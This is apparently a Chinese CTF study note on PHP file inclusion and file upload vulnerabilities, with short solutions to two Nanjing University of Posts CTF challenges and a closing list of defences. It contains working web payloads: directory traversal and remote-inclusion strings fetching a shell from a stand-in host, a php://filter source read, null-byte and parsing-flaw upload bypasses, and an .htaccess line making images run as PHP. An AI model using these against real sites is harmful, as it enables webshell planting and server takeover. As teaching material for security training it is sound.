点击阅读
0x01 文件包含
- 本地文件包含(Loacl File Inclusion,LFI)
通过浏览器引进(包含)web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格 的过滤允许遍历目录的字符注入浏览器并执行
- 远程文件包含(Remote File Inclusion,RFI)
该漏洞允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。 此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击 甚至在目标服务器上执行代码
- 条件:
- php.ini中配置项:
- allow_ url_fopen ON
- allow_ url_include ON
本地包含:
- ?file=flag.txt
- ?file=../../../../../../../../../var/lib/locate.db
- ?file=../../../../../../../../../usr/local/apache2/conf/httpd
远程文件包含:
- ?file=[http|https|ftp]://example.com/shell.txt
- (需要allow_url_fopen=On并且 allow_url_include=On)
PHP中常见的文件包含函数
- include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行
- include_once():功能和include()相同,区别在于当重复调用同意文件时,程序只调用一次
- requier(): 使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行
- require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次
- include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行
jsp/Servlet
- ava.io.file() , java.io.filereader() ….
asp
- include file , include virtual
漏洞利用及危害
- 上传图片,包含图片Getshell
- 读文件,读PHP文件
- 包含日志文件GetShell
- 包含/proc/self/environ文件GetShell
- 如果有phpinfo可以包含临时文件
- 包含data:// 或者 php://input 等协议(需要allow_url_include=on)
- 执行任意脚本代码
- 控制网站
- 控制服务器
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流。
题目分析
click之后是一个test,url变为
http://4.chinalover.sinaapp.com/web7/index.php?file=show.php
这里可以通过PHP内置协议直接读取index的代码
?file=php://filter/read=convert.base64-encode/resource=index.php
页面是index.php的base64加密后的代码,解密即可
0x02 文件上传
文件上传漏洞就是利用可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码
原因
对于上传文件的后缀名(扩展名)没有做较为严格的限制
对于上传文件的MIMETYPE 没有做检查
权限上没有对于上传的文件的文件权限,(尤其是对于shebang类型的文件)
对于web server对于上传文件或者指定目录的行为没有做限制
注:
- MIMETYPE即媒体类型,通过Content-Type来表示。
- 代替magic number做文本文件的metadata的,一是扩展名,一是shebang
- magic number:很多类型的文件,其起始的几个字节的内容是固定的(或是有意填充,或是本就如此)。因此这几个字节的内容也被称为魔数 (magic number),因为根据这几个字节的内容就可以确定文件类型。
- metadata即元数据:描述数据的数据,对数据及信息资源的描述性信息。
感觉较好的博文:
以下七点内容源自文件上传漏洞的一些总结 - 珍惜少年时 - 博客园
MIME类型绕过:
上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过文件扩展名绕过:
Php除了可以解析php后缀 还可以解析php2.php3,php4 后缀文件内容检测绕过:
抓包,在正常图片末尾添加一句话木马00截断绕过上传
1.php .jpg 空格二进制20改为00
IIS 6.0 目录路径检测解析绕过
上传路径改为
XXX/1.asp/IIS6.0 解析缺陷漏洞绕过
上传路径出修改
XXX/1.php;
Apache 解析缺陷绕过上传漏洞
修改后缀名
122.php.7zz(7zz不能识别的后缀名)htaccess解析漏洞:
上传的jpg文件都会以php格式解析
.htaccess内容:
AddType application/x-httpd-php .jpgfck编辑器版本识别及信息收集
版本地址(2.2.4/2.2.6)_samples/default.html
_whatsnew.html
Fck2.2.4 上传地址:editor/filemanager/browser/default/comectors/test.htm
editor/filemanager/upload/test.html
V2.2.6editor/filemanager/connectors/test.html
............................................../uploadtest.html
fck编辑器解析漏洞
/1.asp/下创建文件夹2.asp (2.asp会被转成2_asp)
一个南邮的CTF题—上传绕过
上传图片并抓包,尝试各种拓展名修改,00截断等,无果,试了下uploads,修改下dir ,随便改为/uploads/002.php
reponse中filename为除拓展名的部分,basename即为最终文件名,最终为022.php011.png,和filename部分拼到一起了
测试了下在filename前加一个00截断,然而行不通,那就可以在022.php后加一个00截断
防范:
- 文件扩展名服务端白名单校验。
- 文件内容服务端校验。
- 上传文件重命名。
- 隐藏上传文件路径
白名单是最有保障的安全措施